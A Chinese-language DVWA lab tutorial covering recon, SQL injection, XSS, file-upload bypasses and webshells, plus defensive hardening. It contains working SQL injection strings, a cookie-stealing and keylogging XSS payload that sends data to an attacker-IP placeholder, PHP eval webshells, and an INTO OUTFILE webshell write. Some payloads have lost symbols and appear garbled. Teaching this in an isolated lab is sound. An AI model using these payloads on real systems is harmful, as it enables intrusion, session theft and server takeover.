1. 项目概述为什么DVWA是Web安全学习的“第一课”如果你刚接触网络安全或者想从理论转向实战那么“DVWA”这个名字你肯定绕不开。全称Damn Vulnerable Web Application直译过来就是“该死的脆弱Web应用”。我第一次接触它还是十多年前在学校实验室里当时就觉得这名字起得真够直白。这么多年过去了从学生到从业者再到带新人我依然会把它作为入门Web安全攻防的首选“沙盒”。原因很简单它把十几种最常见的Web漏洞像SQL注入、XSS、文件上传等集成在一个环境里并且贴心地设置了“Low”、“Medium”、“High”、“Impossible”四个安全等级让你能清晰地看到从不设防到逐步加固的完整演变过程。这就像学开车你不能直接上高速得先在封闭的驾校场地里把起步、转弯、倒库这些基本动作练熟。DVWA就是这个“驾校场地”。它提供了一个绝对安全、合法的环境你自己搭建在本地虚拟机里让你可以随意“撞墙”、尝试各种攻击手法而不用担心触犯法律或造成实际损害。通过它你不仅能学会“怎么攻击”更重要的是理解“漏洞为什么会产生”以及“如何从代码层面修复”。很多新手一上来就想用Kali Linux里的炫酷工具扫公网这既不道德也极其危险更学不到精髓。DVWA能帮你沉下心来打好地基。本次实战演练我将带你从零开始完成一次基于DVWA的完整攻防闭环。我们会从环境搭建讲起然后深入三大核心漏洞SQL注入、XSS、文件上传的攻防细节最后探讨如何从防御者角度进行安全加固。我会分享很多官方手册里不会写的“踩坑”经验和操作技巧目标是让你看完后不仅能复现操作更能建立起一套属于自己的Web安全基础分析框架。2. 环境搭建与初始化打造你的专属攻防实验室工欲善其事必先利其器。一个稳定、隔离的实验环境是安全学习的前提。我强烈建议所有操作都在虚拟机中进行将攻击机和靶机完全隔离这符合安全研究的最佳实践。2.1 虚拟机与网络拓扑规划我的标准配置是使用VMware Workstation或VirtualBox创建两台虚拟机。攻击机 (Attacker): Kali Linux。这是渗透测试的标准发行版预装了海量工具如Nmap、sqlmap、Burp Suite等。IP设为192.168.137.128。靶机 (Target): Windows 10/11 或 Ubuntu安装集成环境。我推荐在Windows上用phpStudy小皮面板它一键集成了Apache、PHP、MySQL对新手极其友好。IP设为192.168.137.130。关键技巧网络模式选择务必使用“仅主机Host-Only模式”。这个模式会创建一个完全封闭的虚拟网络只有你的攻击机和靶机可以互相通信它们都无法访问外网外网也无法访问它们。这确保了所有攻击行为都被限制在你的电脑内部绝对安全。在VMware中为两台虚拟机都选择同一个Host-Only网络适配器如VMnet1。配置好后在攻击机Kali上执行ping 192.168.137.130能通说明网络搭建成功。这个简单的“两台主机一个内网”的拓扑就是绝大多数内网渗透测试的缩影。2.2 DVWA的部署与“脆弱化”配置在靶机上启动phpStudy确保Apache和MySQL服务都是绿色运行状态。然后去DVWA的GitHub官方仓库下载最新源码解压后将整个DVWA-master文件夹复制到phpStudy的WWW根目录下并重命名为简单的dvwa。接下来是几个容易出错的配置点务必仔细操作数据库连接配置找到dvwa/config/config.inc.php.dist文件复制一份并重命名为config.inc.php。用编辑器打开找到数据库连接部分$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] pssw0rd;你需要将db_password的值修改为你本地MySQL数据库root用户的密码。phpStudy默认密码经常是root或空如果你没改过这里就填root。这是第一个坑密码不对会导致DVWA无法连接数据库页面报错。创建数据库在浏览器访问http://192.168.137.130/dvwa/setup.php。点击页面下方的“Create / Reset Database”按钮。DVWA会自动创建一个名为dvwa的数据库并填充测试数据。如果看到绿色的“Setup successful”提示说明成功。设置安全等级登录DVWA默认账号admin密码password在左侧导航栏找到“DVWA Security”。在这里将安全级别设置为“Low”。这个操作至关重要它相当于解除了DVWA内置的所有基础防护让漏洞完全暴露出来方便我们进行初级学习。随着你技能提升再逐步挑战Medium和High级别理解防御是如何层层加码的。至此你的专属攻防实验室就搭建完毕了。这个环境可以随时快照、重置是你未来反复练习的绝佳场地。3. 信息收集像侦探一样审视你的目标在真正发动“攻击”前一个好的渗透测试员会花大量时间进行信息收集。这决定了后续行动的效率和精准度。即使对DVWA这样已知的目标这个过程也必不可少它是标准流程的体现。3.1 端口扫描摸清目标开放了哪些“门”我们使用Nmap这个“瑞士军刀”。在Kali攻击机上打开终端输入nmap -sV -O 192.168.137.130-sV: 探测服务版本。不仅告诉你80端口开着还告诉你跑的是Apache 2.4.55和PHP 8.2.8。-O: 尝试识别操作系统。典型的扫描结果会显示PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.55 ((Win64) PHP/8.2.8) 3306/tcp open mysql MySQL 8.0.36 21/tcp open ftp FileZilla ftpd这告诉我们三件事1. 有一个Web服务器HTTP2. 数据库服务MySQL对外暴露这是一个安全隐患生产环境中MySQL不应开在公网3. 可能有一个FTP服务。对于DVWA我们主要关注80端口的Web服务。实操心得理解扫描结果背后的风险看到3306端口开放一个有经验的安全人员会立刻想到是否能用弱口令爆破MySQL虽然DVWA的MySQL只在本地监听但在真实网络中暴露数据库端口是极其危险的常导致“拖库”事件。信息收集阶段就要有这种风险联想能力。3.2 目录与文件枚举寻找隐藏的“后门”与“宝藏”Web应用除了明面上的首页还有很多隐藏的目录和文件比如后台登录页(/admin)、配置文件(/config.php)、备份文件(.bak)、版本控制文件(/.git)。寻找这些路径我们使用目录爆破工具。Kali自带了gobuster或dirb但这里我分享一个自己写的、更轻量、易于理解的Python脚本它体现了目录爆破的核心原理——基于字典的暴力猜测import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed def check_path(target_url, path): 检查给定路径是否存在 full_url target_url.rstrip(/) / path try: # 设置超时和合理的User-Agent避免被基础WAF拦截 headers {User-Agent: Mozilla/5.0 (安全扫描脚本)} resp requests.get(full_url, headersheaders, timeout3, allow_redirectsFalse) # 根据状态码判断 if resp.status_code 200: return f[] 发现可访问页面: {full_url} (状态码: 200) elif resp.status_code 403: return f[!] 发现但禁止访问: {full_url} (状态码: 403 - Forbidden) elif resp.status_code 301 or resp.status_code 302: return f[] 发现重定向: {full_url} - {resp.headers.get(Location)} # 404等状态码不显示减少干扰 except requests.exceptions.RequestException as e: # 连接超时或拒绝等错误通常意味着路径不存在或服务异常 pass return None def main(): if len(sys.argv) ! 3: print(用法: python3 dir_scan.py 目标URL 字典文件) print(示例: python3 dir_scan.py http://192.168.137.130/dvwa common_dirs.txt) sys.exit(1) target_url sys.argv[1] dict_file sys.argv[2] print(f[*] 开始对 {target_url} 进行目录扫描...) print(f[*] 使用字典文件: {dict_file}) # 读取字典 try: with open(dict_file, r, encodingutf-8) as f: paths [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f[错误] 字典文件 {dict_file} 未找到) sys.exit(1) discovered [] # 使用线程池提高扫描速度 with ThreadPoolExecutor(max_workers20) as executor: future_to_path {executor.submit(check_path, target_url, path): path for path in paths} for future in as_completed(future_to_path): result future.result() if result: print(result) discovered.append(result) print(f\n[*] 扫描完成。共发现 {len(discovered)} 个有意义的结果。) if __name__ __main__: main()你需要准备一个包含常见路径的字典文件如common_dirs.txt内容包含admin, login, config, backup, upload, phpmyadmin, .git, .env等然后运行python3 dir_scan.py http://192.168.137.130/dvwa common_dirs.txt这个脚本会快速告诉你目标应用是否存在诸如/dvwa/admin/这样的后台入口。对于DVWA你可能会发现/dvwa/phpinfo.php这样的信息泄露页面它在真实环境中是必须删除的。4. 核心漏洞实战攻防解析一SQL注入SQL注入SQL Injection常年位居OWASP Top 10榜首是Web安全的“头号杀手”。其本质是攻击者通过构造特殊的输入欺骗后端程序将恶意SQL代码当作正常查询的一部分执行从而窃取、篡改或删除数据库中的数据。4.1 Low级别毫无防备的“门户大开”在DVWA Security设置为Low后访问SQL Injection页面。页面提示输入User ID。我们输入1页面返回了用户ID为1的用户信息Admin。这背后执行的SQL语句可能是SELECT first_name, last_name FROM users WHERE user_id 1;现在我们输入1数字1加一个单引号。如果页面返回了数据库错误信息如“You have an error in your SQL syntax...”那么恭喜这里存在字符型SQL注入漏洞。单引号闭合了原SQL语句中的字符串导致多出了一个孤立的单引号语法错误。漏洞利用步骤判断注入类型与列数输入1 and 11页面正常回显。输入1 and 12页面无回显。这确认了是字符型注入且条件判断生效。接下来用ORDER BY子句猜测查询结果的列数。输入1 order by 1 ----是SQL注释符用于注释掉后面的语句。页面正常。输入1 order by 2 --正常。输入1 order by 3 --页面报错。说明查询结果只有2列。联合查询UNION获取数据 知道了列数就可以使用UNION SELECT将我们想查询的数据“拼接”到原查询结果中。首先使原查询结果为空以便完整显示我们的查询结果。输入-1 union select 1,2 --页面可能会在原本显示first_name和last_name的位置分别显示数字1和2。这说明这两个位置可以用来回显数据。获取当前数据库名-1 union select 1,database() --页面会在第二个位置显示数据库名dvwa。获取所有数据库名-1 union select 1,group_concat(schema_name) from information_schema.schemata --这会列出MySQL中所有数据库。获取dvwa数据库中的所有表名-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadvwa --你会发现users表。获取users表的所有列名-1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers --会看到user_id, first_name, last_name, user, password, avatar等列。最终一击获取用户名和密码-1 union select group_concat(user), group_concat(password) from users --所有用户的账号和经过MD5哈希的密码都会显示出来。你可以用在线MD5解密网站尝试破解弱口令密码如admin的密码5f4dcc3b5aa765d61d8327deb882cf99对应password。注意事项手工注入的思考过程这个过程看似繁琐但每一步都蕴含着逻辑判断注入点 - 判断类型 - 探测结构 - 获取信息。手工注入能让你深刻理解漏洞原理和数据库结构。自动化工具sqlmap固然强大但直接依赖工具会让你变成“脚本小子”遇到非常规情况就束手无策。4.2 Medium与High级别逐渐升级的防御与绕过将DVWA安全级别调至Medium刷新SQL注入页面。你会发现输入框变成了下拉菜单无法直接输入。这时需要利用Burp Suite这类代理工具拦截并修改请求。Medium级别后端可能使用了mysql_real_escape_string()函数对输入进行转义处理了单引号。但防御不完整。通过Burp抓包修改id参数为1 or 11依然可以成功注入。因为这里的id参数预期是数字后端可能直接用了intval()或类似函数但逻辑错误地允许了or这样的关键字。防御的重点从“过滤引号”变成了“过滤关键字”但存在绕过空间。High级别页面将输入引导到了另一个弹出窗口并且使用了LIMIT 1子句极大地增加了联合查询注入的难度。但依然可能存在基于时间的盲注漏洞。例如输入1 AND SLEEP(5) --如果页面响应延迟了5秒说明SQL语句被执行了盲注存在。盲注需要逐个字符地猜测数据非常耗时但却是应对高级防御的有效手段。4.3 防御之道从根源上杜绝注入理解了攻击防御就清晰了。核心原则永远不要信任用户输入将代码与数据严格分离。使用预编译语句Prepared Statements这是最有效、最根本的防御方法。以PHP的PDO为例$stmt $pdo-prepare(SELECT first_name, last_name FROM users WHERE user_id :id); $stmt-execute([id $user_input]);用户输入的$user_input会被数据库驱动当作纯粹的“数据”来处理而不会被解释为SQL“代码”的一部分从根本上杜绝了注入的可能性。使用安全的ORM框架如Laravel的Eloquent、ThinkPHP的Model等它们底层通常使用预编译。严格的输入验证与过滤如果必须拼接SQL应对输入进行严格的类型检查如强制转换为整型intval()、白名单过滤只允许预期的字符集。最小权限原则数据库连接账户不应使用root而应授予应用所需的最小权限如仅SELECT无DROP。5. 核心漏洞实战攻防解析二跨站脚本XSSXSSCross-Site Scripting允许攻击者将恶意脚本注入到其他用户信任的网页中。当受害者浏览该页面时脚本会在其浏览器中执行从而盗取Cookie、会话令牌甚至进行钓鱼攻击。5.1 反射型XSS即时生效的“一次性攻击”在DVWA的XSS Reflected模块Low级别有一个搜索框。输入普通的test页面会回显“You searched for: test”。尝试输入scriptalert(XSS)/script。 如果成功弹窗这就是反射型XSS。攻击流程是攻击者构造一个包含恶意脚本的URL如http://target/vuln.php?qscriptalert(1)/script诱骗受害者点击。脚本在受害者浏览器中执行但数据并不存储在服务器上。利用演示窃取Cookie攻击者可以构造这样的Payloadscriptnew Image().srchttp://攻击者IP:端口/steal.php?cookieencodeURIComponent(document.cookie);/script当受害者点击包含此Payload的链接时其Cookie会被偷偷发送到攻击者控制的服务器steal.php。攻击者拿到Cookie后可能直接在浏览器中替换从而冒充受害者登录。5.2 存储型XSS持久化的“网站牛皮癣”在XSS Stored模块Low级别这是一个留言板。输入上述的弹窗脚本并提交刷新页面后每次任何人访问这个留言板脚本都会执行。这就是存储型XSS危害更大因为它影响所有访问者。高级利用键盘记录器一个更危险的Payload示例是注入一个键盘记录脚本窃取用户在受害页面上的输入如登录凭证script var k ; document.onkeypress function(e) { k e.key; // 每隔一段时间或按键数将数据发送出去 if (k.length 50) { new Image().src http://攻击者IP/log.php?k encodeURIComponent(k); k ; } } /script5.3 DOM型XSS不经过服务器的“客户端漏洞”DOM型XSS比较特殊漏洞出在客户端JavaScript代码对用户输入的处理上。在DVWA的XSS DOM模块页面根据URL中的#default参数来动态修改页面内容。查看页面源码你会发现类似这样的代码var lang document.location.href.substring(document.location.href.indexOf(default)8); document.write(option value lang lang /option);攻击者可以构造URLhttp://target/vuln.html#defaultscriptalert(1)/script。当用户访问时lang变量的值就是恶意脚本document.write会将其写入DOM导致脚本执行。整个过程不涉及与服务器的交互纯前端漏洞。5.4 防御之道对输出进行编码XSS防御的核心思想是将用户输入的数据在输出到不同上下文时进行相应的编码或转义。HTML上下文编码使用htmlspecialchars()函数PHP或类似函数将、、、、等字符转换为HTML实体如lt;gt;。echo htmlspecialchars($user_input, ENT_QUOTES, UTF-8);JavaScript上下文编码如果必须将用户输入插入到script标签或事件处理器如onclick中需要使用JavaScript专用的编码或更佳的做法是避免这样做采用数据属性等方式。设置HTTP安全头Content Security Policy (CSP)这是一个强大的“白名单”机制。通过HTTP头Content-Security-Policy可以告诉浏览器只允许加载和执行来自特定来源的脚本、样式等。即使页面被注入了恶意脚本如果来源不在白名单内浏览器也不会执行。Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com;HttpOnly Cookie在设置Cookie时添加HttpOnly标志。这样JavaScriptdocument.cookie就无法读取到这个Cookie可以有效缓解Cookie窃取攻击。6. 核心漏洞实战攻防解析三文件上传漏洞文件上传漏洞是获取服务器控制权的“捷径”。如果应用对上传的文件检查不严攻击者就能上传Webshell一种以网页形式存在的后门程序从而在服务器上执行任意命令。6.1 Low级别前端校验形同虚设在DVWA文件上传模块Low级别尝试上传一个.php后缀的文件可能会被前端JavaScript拦截。但这是最脆弱的防御。绕过方法1禁用浏览器JS直接在浏览器设置中禁用JavaScript或者按F12打开开发者工具在“网络”选项卡中先选择一张正常图片上传拦截这个请求然后将请求体中的文件内容替换为你的PHP Webshell内容再发送请求。绕过方法2直接修改请求使用Burp Suite拦截上传请求将文件名shell.php直接修改为shell.php发送即可。因为Low级别的后端代码几乎没有任何检查。6.2 Medium级别蹩脚的后端校验Medium级别开始在后端检查文件扩展名。查看源码它使用strtolower()将文件名转为小写然后检查是否在[jpg, jpeg, png, gif]数组中。绕过方法双写扩展名、特殊解析双写扩展名上传文件名为shell.php.jpg。后端检查.jpg通过但某些服务器尤其是配置不当的Apache可能会按照最后一个点之后的扩展名.php来解析或者存在解析漏洞如CVE-2013-4547。大小写绕过在某些对大小写不敏感的系统如Windows上上传shell.PHP或shell.Php可能绕过检查。空格/点号绕过在文件名末尾添加空格或点如shell.php.或shell.php某些检查逻辑可能会被绕过。6.3 High级别内容检查与终极绕过High级别不仅检查扩展名还可能检查文件内容的MIME类型通过$_FILES[uploaded][type]但这个值来自客户端可伪造甚至检查文件头如exif_imagetype()函数检查是否为真实图片。绕过方法制作图片马这是更高级的技巧。我们可以将一个真实的图片和一个PHP Webshell合并。准备一个正常的test.jpg图片和一个shell.php内容为?php eval($_POST[cmd]);?。在Linux下使用命令cat test.jpg shell.php shell.jpg.php。这样生成的文件文件头是合法的JPEG格式能通过exif_imagetype()检查但尾部包含了PHP代码。上传这个shell.jpg.php文件。利用条件需要服务器存在文件包含漏洞。如果应用存在本地文件包含LFI攻击者可以包含这个上传的“图片马”因为PHP解释器会执行文件中的所有?php ... ?标签。例如存在index.php?pageuploads/shell.jpg.php这样的参数即可触发Webshell。6.4 防御之道多维度严格校验白名单校验文件扩展名只允许[jpg, png, gif]等明确需要的类型拒绝[php, asp, jsp, exe]等危险类型。黑名单永远会有遗漏。校验文件内容使用getimagesize()、exif_imagetype()等函数检查上传的文件是否为真实的图片格式。对于非图片文件应使用文件特征码检测。重命名文件上传后使用随机字符串如UUID重命名文件并保留原始扩展名。例如a1b2c3d4e5.jpg。这可以防止攻击者直接访问或猜测文件路径。设置正确的文件权限上传目录应设置为不可执行脚本。在Apache中可以在.htaccess文件中添加php_flag engine off。在Nginx配置中确保上传目录的location块不传递给PHP-FPM处理。文件存储位置尽量不要将上传文件存储在Web根目录下。可以通过程序二次读取并输出避免直接URL访问。7. 漏洞综合利用与权限维持在实际渗透中攻击者很少只利用一个漏洞。他们会将多个漏洞串联起来形成攻击链最终达到控制服务器的目的。DVWA也为我们提供了这样的练习场景。7.1 从SQL注入到Getshell假设我们通过SQL注入不仅拿到了管理员密码的MD5哈希还发现可以通过注入点写入文件这需要数据库用户拥有FILE权限且secure_file_priv配置允许。 利用SQL语句union select ?php system($_GET[cmd]); ?,2 into outfile /var/www/html/dvwa/shell.php如果成功就会在Web目录下生成一个名为shell.php的Webshell通过访问http://target/dvwa/shell.php?cmdwhoami即可执行系统命令。这就将信息泄露漏洞升级为了远程代码执行漏洞。7.2 使用中国蚁剑管理Webshell当通过文件上传或写入漏洞获得一个Webshell如shell.php密码为pass后图形化管理工具比命令行更方便。中国蚁剑AntSword是一款流行的Webshell管理工具。添加数据在蚁剑中右键“添加数据”。配置连接URL地址填写Webshell的完整路径如http://192.168.137.130/dvwa/hackable/uploads/shell.php。连接密码填写Webshell中设定的密码如pass。编码器、请求头等通常保持默认即可。连接成功双击添加的shell如果连接成功左侧会显示服务器的文件目录树。你可以浏览、下载、上传文件执行终端命令甚至直接编辑数据库。这相当于获得了服务器的一个远程控制台。重要警告法律与道德红线所有上述操作必须且仅限在你拥有完全所有权和授权的环境如本地虚拟机中的DVWA中进行。未经授权对任何他人系统进行渗透测试是违法行为。安全技术的价值在于防御学习的目的是为了构建更安全的系统。7.3 权限维持与痕迹清理了解即可在真实的渗透测试授权范围内中获取权限后为了长期控制或避免被发现可能会进行创建后门账户在服务器上添加一个隐藏的管理员用户。安装持久化后门如计划任务、启动项、服务、SSH密钥等。清理日志删除或修改系统日志、Web访问日志中与攻击相关的记录。 在DVWA环境中我们练习的目的是理解攻击链完成后务必重置虚拟机快照无需也不应进行这些操作。8. 安全加固与防御体系建设攻防是一体两面。理解了攻击手法防御措施就有了明确的针对性。一个健壮的Web应用安全体系应该是多层次、纵深防御的。8.1 代码层防御安全开发的基石这是最根本的防御层需要在开发阶段就融入。SQL注入全面采用参数化查询预编译语句使用PDO或MySQLi扩展。XSS对所有来自外部的数据在输出时根据上下文进行编码HTML, JS, URL。启用CSP。文件上传实施“白名单重命名内容检查独立存储”的组合策略。CSRF为每个会话生成并验证不可预测的Token。命令注入避免使用system()、exec()等函数如必须使用对输入进行严格的白名单过滤。会话安全使用安全的会话管理器设置会话过期时间防止会话固定攻击。8.2 运维与配置层防御即使代码有瑕疵良好的运维配置也能筑起第二道防线。最小权限原则Web服务器进程如www-data用户应以最低必要权限运行。数据库账户只授予应用所需的最小权限。及时更新保持操作系统、Web服务器Apache/Nginx、数据库MySQL、编程语言PHP/Python及所有第三方库/框架为最新版本及时修补已知漏洞。错误处理在生产环境中关闭PHP的display_errors将错误日志记录到文件避免将敏感信息泄露给攻击者。文件权限严格设置文件和目录权限。Web根目录通常应为755所有者可写其他用户只读执行配置文件应放在Web目录之外。8.3 网络与基础设施层防御这是最外层的防御。Web应用防火墙WAF部署WAF可以过滤常见的恶意流量如SQL注入、XSS攻击的特征字符串。它可以作为一道有效的缓冲但不应依赖它来修复根本的代码漏洞。入侵检测/防御系统IDS/IPS监控网络流量和系统行为对异常活动进行告警或阻断。定期安全评估建立制度定期对系统进行漏洞扫描和渗透测试白盒/黑盒主动发现潜在风险。安全是一个持续的过程而非一劳永逸的状态。DVWA的“Impossible”级别展示了近乎完美的防御代码。通过对比Low到Impossible的代码差异你能最直观地看到一个安全的Web应用应该如何编写。这比任何理论教程都来得深刻。我建议你在完成所有攻击练习后花时间仔细阅读DVWA每个漏洞模块下不同安全等级的源代码这将是你在Web安全学习道路上收获最大的一步。